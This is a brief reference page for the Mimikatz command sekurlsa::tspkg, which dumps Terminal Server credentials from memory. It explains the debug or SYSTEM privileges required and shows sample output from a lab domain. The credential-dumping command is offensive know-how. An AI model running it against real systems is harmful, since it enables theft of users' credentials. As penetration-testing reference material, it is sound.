# tspkg

`sekurlsa::tspkg` lists TsPkg credentials. This credentials provider is used for Terminal Server Authentication.

{% hint style="warning" %}
This command requires elevated privileges (by previously running [`privilege::debug`](https://tools.thehacker.recipes/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account).
{% endhint %}

```
mimikatz # sekurlsa::tspkg

Authentication Id : 0 ; 3151880 (00000000:00301808)
Session           : RemoteInteractive from 2
User Name         : m3g9tr0n
Domain            : hacklab
Logon Server      : DC
Logon Time        : 13/10/2021 20:58:08
SID               : S-1-5-21-2725560159-1428537199-2260736313-1730
        tspkg :
```
